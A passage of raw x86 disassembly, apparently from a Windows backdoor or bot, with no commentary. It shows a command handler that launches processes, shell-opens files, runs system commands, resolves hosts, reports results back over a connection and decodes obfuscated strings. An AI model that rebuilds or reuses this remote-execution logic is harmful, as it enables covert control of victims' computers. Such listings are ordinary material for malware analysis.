		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+98h+var_54]
		mov	ebp, eax
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226
		test	ebp, ebp
		jz	loc_4049EA
		push	20h
		mov	ecx, esi
		call	sub_401D20
		lea	edx, [esp+98h+var_84]
		push	eax
		push	edx
		mov	ecx, esi
		call	sub_401E2E
		mov	ebx, 7
		push	20h
		lea	ecx, [esp+9Ch+var_84]
		mov	[esp+9Ch+var_4], ebx
		call	sub_401D20
		push	eax
		lea	eax, [esp+9Ch+var_54]
		push	eax
		lea	ecx, [esp+0A0h+var_84]
		call	sub_401E2E
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		mov	byte ptr [esp+9Ch+var_4], 8
		call	sub_40200E
		lea	ecx, [esp+98h+var_54]
		mov	byte ptr [esp+98h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+98h+var_84]
		push	ecx
		mov	ecx, esi
		call	sub_401FBE
		push	offset asc_443600 ; " "
		lea	edx, [esp+9Ch+var_24]
		push	0
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		lea	ecx, [esp+98h+var_3C]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+0A0h+var_4], 9
		call	sub_401E2E
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+9Ch+var_4], 0Ah
		call	sub_401FBE
		lea	ecx, [esp+98h+var_3C]
		mov	byte ptr [esp+98h+var_4], 9
		call	sub_401226
		lea	ecx, [esp+98h+var_24]
		mov	byte ptr [esp+98h+var_4], bl
		call	sub_401226
		mov	al, [esp+98h+arg_4]
		test	al, al
		jnz	short loc_4049A7
		test	ebp, ebp
		jle	short loc_4049B8


loc_404998:				; CODE XREF: sub_404640+363j
		mov	ecx, [esp+98h+var_88]
		push	esi
		call	sub_401F69
		dec	ebp
		jnz	short loc_404998
		jmp	short loc_4049B8
; ---------------------------------------------------------------------------


loc_4049A7:				; CODE XREF: sub_404640+352j
		test	ebp, ebp
		jle	short loc_4049B8


loc_4049AB:				; CODE XREF: sub_404640+376j
		mov	ecx, [esp+98h+var_88]
		push	esi
		call	sub_401442
		dec	ebp
		jnz	short loc_4049AB


loc_4049B8:				; CODE XREF: sub_404640+356j
					; sub_404640+365j ...
		lea	ecx, [esp+98h+var_84]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	short loc_4049EA
; ---------------------------------------------------------------------------


loc_4049CE:				; CODE XREF: sub_404640+1E7j
		mov	al, [esp+98h+arg_4]
		mov	ecx, [esp+98h+var_88]
		test	al, al
		push	esi
		jnz	short loc_4049E5
		call	sub_401F69
		jmp	short loc_4049EA
; ---------------------------------------------------------------------------


loc_4049E5:				; CODE XREF: sub_404640+39Cj
		call	sub_401442


loc_4049EA:				; CODE XREF: sub_404640+162j
					; sub_404640+232j ...
		mov	ecx, [esp+98h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 88h
		retn	8
sub_404640	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404B10	proc near		; CODE XREF: sub_401F69j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, ecx
		mov	ecx, offset word_448CA2
		call	sub_4014D3
		mov	esi, [esp+8+arg_0]
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_404B56
		sub	esp, 18h
		lea	eax, [esi+15h]
		mov	ecx, esp
		mov	[esp+20h+arg_0], esp
		push	eax
		call	sub_4014C9
		mov	ecx, offset word_448C9E
		call	sub_401CD0
		test	eax, eax
		jnz	short loc_404B56
		xor	al, al
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_404B56:				; CODE XREF: sub_404B10+1Dj
					; sub_404B10+3Dj
		sub	esp, 18h
		lea	edx, [esi+15h]
		mov	ecx, esp
		mov	[esp+20h+arg_0], esp
		push	edx
		call	sub_4014C9
		mov	ecx, offset word_448C9E
		call	sub_401CD0
		test	eax, eax
		jnz	short loc_404B96
		mov	al, [edi+469h]
		test	al, al
		jz	short loc_404B96
		push	0
		lea	ecx, [esi+2Ah]
		call	sub_40146F
		cmp	byte ptr [eax],	23h
		jz	short loc_404B96
		xor	al, al
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_404B96:				; CODE XREF: sub_404B10+64j
					; sub_404B10+6Ej ...
		push	esi
		mov	ecx, edi
		call	sub_401442
		pop	edi
		pop	esi
		retn	4
sub_404B10	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404BE0	proc near		; CODE XREF: sub_401442j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	1
		lea	ecx, [esi+7Eh]
		call	sub_4017E4
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401AF0
		test	eax, eax
		jz	short loc_404C0A
		mov	ecx, [eax+2Ah]
		push	esi
		mov	eax, [ecx]
		call	dword ptr [eax]
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_404C0A:				; CODE XREF: sub_404BE0+1Cj
		xor	al, al
		pop	esi
		retn	4
sub_404BE0	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404C20	proc near		; CODE XREF: sub_40185Cj
		push	esi
		push	edi
		mov	edi, dword_50F8A4
		mov	esi, ecx
		call	edi ; dword_50F8A4
		mov	edx, dword_4D60D9
		mov	ecx, [esi+421h]
		sub	eax, edx
		cmp	eax, ecx
		jbe	short loc_404C4F
		mov	ecx, offset byte_4D60B5
		call	sub_401D0C
		call	edi ; dword_50F8A4
		mov	dword_4D60D9, eax


loc_404C4F:				; CODE XREF: sub_404C20+1Cj
		pop	edi
		mov	al, 1
		pop	esi
		retn
sub_404C20	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404C70	proc near		; CODE XREF: sub_4017C6j

var_168		= dword	ptr -168h
var_164		= byte ptr -164h
var_14D		= byte ptr -14Dh
var_14C		= byte ptr -14Ch
var_134		= byte ptr -134h
var_11C		= byte ptr -11Ch
var_104		= dword	ptr -104h
var_100		= byte ptr -100h
var_E8		= byte ptr -0E8h
var_D0		= dword	ptr -0D0h
var_A0		= byte ptr -0A0h
var_8C		= byte ptr -8Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_404C70
		push	eax
		mov	large fs:0, esp
		sub	esp, 15Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+174h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebp, [esi+7Eh]
		lea	ecx, [edi+0C29h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_404CE4
		lea	ecx, [esi+69h]
		call	sub_4014D3
		push	eax
		lea	ecx, [edi+2E3h]
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_404CE4:				; CODE XREF: sub_404C70+40j
		lea	ecx, [edi+0D6Bh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_404E75
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+180h+var_14C]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	offset asc_443600 ; " "
		lea	eax, [esp+17Ch+var_100]
		push	1
		push	eax
		mov	ecx, esi
		mov	[esp+184h+var_4], 0
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 1
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		cmp	eax, 1
		lea	ecx, [esp+178h+var_100]
		mov	byte ptr [esp+178h+var_4], 0
		setz	bl
		call	sub_401226
		lea	ecx, [esp+178h+var_164]
		call	sub_401424
		push	2000h
		push	2000h
		lea	ecx, [esp+180h+var_164]
		mov	byte ptr [esp+180h+var_4], 2
		call	sub_401C5D
		push	eax
		lea	ecx, [esp+180h+var_14C]
		call	sub_4017E4
		push	eax
		call	near ptr 2800000h
		nop
		lea	ecx, [esp+178h+var_164]
		push	ecx
		lea	ecx, [esp+17Ch+var_14C]
		call	sub_401FBE
		mov	ecx, 11h
		xor	eax, eax
		lea	edi, [esp+178h+var_D0]
		lea	edx, [esp+178h+var_11C]
		rep stosd
		lea	eax, [esp+178h+var_D0]
		push	edx
		push	eax
		push	0
		neg	bl
		push	0
		push	28h
		sbb	ebx, ebx
		push	1
		and	ebx, 5
		push	0
		push	0
		lea	ecx, [esp+198h+var_14C]
		mov	[esp+198h+var_D0], 44h
		mov	word ptr [esp+198h+var_A0], bx
		call	sub_4014D3
		push	eax
		push	0
		nop
		call	near ptr 27F0000h
		test	eax, eax
		jnz	short loc_404E49
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	offset aExec_error ; "exec.error"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 0
		call	sub_401226
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_14C]
		jmp	loc_40566E
; ---------------------------------------------------------------------------


loc_404E49:				; CODE XREF: sub_404C70+18Cj
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+178h+var_14C]
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_404E75:				; CODE XREF: sub_404C70+89j
		lea	ecx, [edi+0B71h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_404F24
		push	1
		push	offset asc_443600 ; " "
		lea	eax, [esp+180h+var_164]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011EA
		mov	ecx, offset byte_4E6E85
		mov	[esp+178h+var_4], 3
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_404F10
		mov	al, byte_4478D6
		test	al, al
		jz	short loc_404EE0
		push	offset dword_447874
		mov	ecx, offset dword_448DB0
		call	sub_401447


loc_404EE0:				; CODE XREF: sub_404C70+25Fj
		mov	al, byte_44791F
		test	al, al
		jz	short loc_404EF8
		push	offset byte_44794F
		mov	ecx, offset dword_448DB0
		call	sub_401942


loc_404EF8:				; CODE XREF: sub_404C70+277j
		mov	ecx, offset dword_448DB0
		call	sub_401E5B
		mov	byte_4D60CC, 0
		mov	byte_4E6E84, 0


loc_404F10:				; CODE XREF: sub_404C70+256j
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_164]
		jmp	loc_40566E
; ---------------------------------------------------------------------------


loc_404F24:				; CODE XREF: sub_404C70+21Aj
		lea	ecx, [edi+0C57h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_404F6C
		lea	ecx, [esi+69h]
		call	sub_4014D3
		push	eax
		mov	ecx, offset word_4E6E9A
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_404F6C:				; CODE XREF: sub_404C70+2C9j
		lea	ecx, [edi+0DC7h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405029
		push	eax
		push	13h
		push	0Eh
		push	4
		push	8
		push	13h
		push	15h
		push	0Ch
		push	6
		lea	eax, [esp+19Ch+var_14C]
		push	50h
		push	eax
		call	sub_4019B5
		add	esp, 2Ch
		mov	esi, eax
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	7
		push	9
		push	6
		push	0Eh
		push	0Fh
		push	3
		push	10h
		lea	ecx, [esp+1A8h+var_164]
		push	9
		push	ecx
		mov	[esp+1B0h+var_4], 4
		call	sub_4019B5
		add	esp, 38h
		mov	edi, eax
		mov	ecx, esi
		mov	byte ptr [esp+178h+var_4], 5
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4017E4
		push	eax
		call	sub_401299
		add	esp, 8
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 4
		call	sub_401226
		lea	ecx, [esp+178h+var_14C]
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_405029:				; CODE XREF: sub_404C70+311j
		lea	ecx, [edi+0D0Fh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405147
		lea	ecx, [esp+178h+var_14C]
		call	sub_401424
		push	offset asc_443600 ; " "
		lea	edx, [esp+17Ch+var_11C]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+184h+var_4], 6
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 7
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+17Ch+var_14C]
		call	sub_401A87
		lea	ecx, [esp+178h+var_11C]
		mov	byte ptr [esp+178h+var_4], 6
		call	sub_401226
		lea	ecx, [esp+178h+var_164]
		call	sub_401424
		push	1
		mov	bl, 8
		push	0
		push	0
		lea	ecx, [esp+184h+var_14C]
		mov	byte ptr [esp+184h+var_4], bl
		call	sub_4017E4
		push	eax
		push	offset aOpen	; "open"
		push	0
		nop
		call	near ptr 7CA41110h
		movsx	eax, al
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_4020F4
		lea	ecx, [esp+178h+var_11C]
		mov	byte ptr [esp+178h+var_4], 9
		push	ecx
		lea	ecx, [esp+17Ch+var_164]
		call	sub_40200E
		lea	ecx, [esp+178h+var_11C]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esi+69h]
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 6
		call	sub_401226
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_14C]
		jmp	loc_40566E
; ---------------------------------------------------------------------------


loc_405147:				; CODE XREF: sub_404C70+3CEj
		lea	ecx, [edi+0D99h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40516A
		mov	byte_4D60CC, al
		mov	al, 1
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_40516A:				; CODE XREF: sub_404C70+4ECj
		lea	ecx, [edi+0D3Dh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405431
		lea	ecx, [esp+178h+var_11C]
		call	sub_401424
		push	offset asc_443600 ; " "
		lea	ecx, [esp+17Ch+var_164]
		push	1
		mov	ebx, 0Ah
		push	ecx
		mov	ecx, esi
		mov	[esp+184h+var_4], ebx
		call	sub_4016AE
		push	offset byte_446F70
		mov	ecx, eax
		mov	byte ptr [esp+17Ch+var_4], 0Bh
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		setz	[esp+178h+var_14D]
		call	sub_401226
		mov	al, [esp+178h+var_14D]
		test	al, al
		jz	short loc_4051F4
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_11C]
		jmp	loc_40566E
; ---------------------------------------------------------------------------


loc_4051F4:				; CODE XREF: sub_404C70+56Ej
		push	offset asc_443600 ; " "
		lea	edx, [esp+17Ch+var_164]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 0Ch
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 71AB2BF4h
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_104], eax
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		mov	eax, [esp+178h+var_104]
		or	ebp, 0FFFFFFFFh
		cmp	eax, ebp
		jz	loc_4052C7
		push	2
		lea	eax, [esp+17Ch+var_104]
		push	4
		push	eax
		nop
		call	near ptr 71ABE479h
		mov	edi, eax
		test	edi, edi
		jz	loc_4053A8
		push	offset asc_443600 ; " "
		lea	ecx, [esp+17Ch+var_164]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	edx, [edi]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+17Ch+var_4], 0Dh
		call	sub_4017E4
		push	eax
		lea	eax, [esp+180h+var_11C]
		push	offset aSResolvedS ; "%s resolved %s"
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esi+69h]
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		jmp	loc_40540E
; ---------------------------------------------------------------------------


loc_4052C7:				; CODE XREF: sub_404C70+5CAj
		push	offset asc_443600 ; " "
		lea	eax, [esp+17Ch+var_164]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 0Eh
		call	sub_4017E4
		push	eax
		call	near ptr 71AB4FD4h
		nop
		lea	ecx, [esp+178h+var_164]
		mov	edi, eax
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		test	edi, edi
		jz	loc_4053A8
		mov	ecx, [edi+0Ch]
		push	offset asc_443600 ; " "
		lea	eax, [esp+17Ch+var_164]
		push	1
		mov	edx, [ecx]
		push	eax
		mov	ecx, esi
		mov	edi, [edx]
		call	sub_4016AE
		mov	ebp, eax
		push	edi
		mov	byte ptr [esp+17Ch+var_4], 0Fh
		nop
		call	near ptr 71AB3F41h
		push	eax
		mov	ecx, ebp
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+180h+var_11C]
		push	offset aSS_1	; "%s -> %s"
		push	ecx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esi+69h]
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	ecx, [esp+178h+var_11C]
		mov	bl, al
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, bl
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_4053A8:				; CODE XREF: sub_404C70+5E3j
					; sub_404C70+694j
		push	offset asc_443600 ; " "
		lea	ecx, [esp+17Ch+var_164]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 10h
		call	sub_4017E4
		push	eax
		lea	edx, [esp+17Ch+var_11C]
		push	offset aResolve_errorS ; "resolve.error	%s."
		push	edx
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esi+69h]
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx


loc_40540E:				; CODE XREF: sub_404C70+652j
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	ecx, [esp+178h+var_11C]
		mov	bl, al
		mov	[esp+178h+var_4], ebp
		call	sub_401226
		mov	al, bl
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_405431:				; CODE XREF: sub_404C70+50Fj
		lea	ecx, [edi+0BCDh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405522
		lea	ecx, [edi+9]
		call	sub_4017E4
		lea	edx, [esp+178h+var_164]
		push	eax
		push	edx
		call	sub_402022
		add	esp, 8
		push	0
		push	25h
		push	1Dh
		push	23h
		lea	eax, [esp+188h+var_14C]
		mov	ebx, 11h
		push	28h
		push	eax
		mov	[esp+190h+var_4], ebx
		call	sub_4019B5
		add	esp, 18h
		mov	esi, eax
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 12h
		call	sub_4017E4
		push	eax
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		push	offset aSS	; "%s %s\r\n"
		push	offset byte_4D60B5
		call	sub_401E0B
		add	esp, 10h
		lea	ecx, [esp+178h+var_14C]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		push	20h
		lea	ecx, [esp+17Ch+var_14C]
		push	0
		push	ecx
		lea	ecx, [esp+184h+var_164]
		call	sub_4012B2
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 13h
		call	sub_4017E4
		push	eax
		push	offset aS	; "%s"
		push	offset byte_4E6E85
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_14C]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_405522:				; CODE XREF: sub_404C70+7D6j
		lea	ecx, [edi+0E23h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405690
		push	offset asc_443600 ; " "
		lea	edx, [esp+17Ch+var_11C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	edi, eax
		mov	ecx, ebp
		mov	[esp+178h+var_4], 14h
		call	sub_4013D9
		mov	ecx, edi
		mov	ebx, eax
		call	sub_4013D9
		mov	ecx, esi
		lea	edi, [ebx+eax+3]
		call	sub_4013D9
		cmp	eax, edi
		lea	ecx, [esp+178h+var_11C]
		setle	bl
		or	edi, 0FFFFFFFFh
		mov	[esp+178h+var_4], edi
		call	sub_401226
		test	bl, bl
		jnz	loc_405673
		lea	ecx, [esp+178h+var_14C]
		call	sub_401424
		mov	ecx, ebp
		mov	[esp+178h+var_4], 15h
		call	sub_4013D9
		add	eax, 2
		mov	ecx, esi
		push	eax
		call	sub_40146F
		push	eax
		lea	ecx, [esp+17Ch+var_14C]
		call	sub_4015D7
		lea	ecx, [esp+178h+var_164]
		call	sub_401424
		lea	ecx, [esp+178h+var_14C]
		mov	byte ptr [esp+178h+var_4], 16h
		call	sub_4017E4
		push	eax
		lea	eax, [esp+17Ch+var_164]
		push	offset aExecutedS_ ; "Executed:	%s."
		push	eax
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_14C]
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C293C7h
		add	esp, 4
		cmp	eax, edi
		lea	ecx, [esi+69h]
		jnz	short loc_40562A
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	offset aExec_error ; "exec.error"
		push	ecx
		push	edx
		jmp	short loc_405648
; ---------------------------------------------------------------------------


loc_40562A:				; CODE XREF: sub_404C70+99Dj
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx


loc_405648:				; CODE XREF: sub_404C70+9B8j
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 15h
		call	sub_401226
		mov	[esp+178h+var_4], edi
		lea	ecx, [esp+178h+var_14C]


loc_40566E:				; CODE XREF: sub_404C70+1D4j
					; sub_404C70+2AFj ...
		call	sub_401226


loc_405673:				; CODE XREF: sub_404C70+922j
					; sub_404C70+C70j
		xor	al, al


loc_405675:				; CODE XREF: sub_404C70+6Fj
					; sub_404C70+200j ...
		mov	ecx, [esp+178h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 168h
		retn	4
; ---------------------------------------------------------------------------


loc_405690:				; CODE XREF: sub_404C70+8C7j
		lea	ecx, [edi+0C85h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_405706
		lea	edx, [esp+178h+var_164]
		mov	ecx, edi
		push	edx
		call	sub_401F3C
		mov	edi, eax
		lea	ecx, [esi+69h]
		mov	[esp+178h+var_4], 17h
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	ecx, [esp+178h+var_164]
		mov	bl, al
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, bl
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_405706:				; CODE XREF: sub_404C70+A35j
		lea	ecx, [edi+0CE1h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4057F7
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+180h+var_14C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	20h
		lea	ecx, [esp+17Ch+var_164]
		push	0
		push	ecx
		mov	ecx, eax
		mov	[esp+184h+var_4], 18h
		call	sub_4012B2
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 19h
		call	sub_4017E4
		push	eax
		push	offset aS	; "%s"
		push	offset byte_4E6E85
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 18h
		call	sub_401226
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+178h+var_14C]
		mov	[esp+178h+var_4], edi
		call	sub_401226
		push	0
		push	25h
		push	1Dh
		push	23h
		lea	edx, [esp+188h+var_164]
		push	28h
		push	edx
		call	sub_4019B5
		add	esp, 18h
		mov	esi, eax
		mov	ecx, offset byte_4E6E85
		mov	[esp+178h+var_4], 1Ah
		call	sub_4017E4
		push	eax
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		push	offset aSS	; "%s %s\r\n"
		push	offset byte_4D60B5
		call	sub_401E0B
		add	esp, 10h
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_4], edi
		call	sub_401226
		mov	al, 1
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_4057F7:				; CODE XREF: sub_404C70+AABj
		lea	ecx, [edi+0CB3h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4058CB
		push	offset asc_443600 ; " "
		lea	eax, [esp+17Ch+var_14C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+178h+var_4], 1Bh
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		or	ebp, 0FFFFFFFFh
		add	esp, 4
		lea	ecx, [esp+178h+var_14C]
		mov	ebx, eax
		mov	[esp+178h+var_4], ebp
		call	sub_401226
		test	ebx, ebx
		jnz	short loc_40585F
		mov	ebx, 7


loc_40585F:				; CODE XREF: sub_404C70+BE8j
		lea	ecx, [esp+178h+var_164]
		push	ebx
		push	ecx
		mov	ecx, edi
		call	sub_40194C
		push	offset byte_446F70
		lea	ecx, [esp+17Ch+var_164]
		mov	[esp+17Ch+var_4], 1Ch
		call	sub_4012EE
		test	eax, eax
		jz	short loc_4058B4
		lea	ecx, [esi+69h]
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D60B5
		call	sub_401118


loc_4058B4:				; CODE XREF: sub_404C70+C17j
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_4], ebp
		call	sub_401226
		mov	al, 1
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_4058CB:				; CODE XREF: sub_404C70+B9Cj
		lea	ecx, [edi+0DF5h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405673
		lea	ecx, [esp+178h+var_100]
		call	sub_401424
		push	0
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
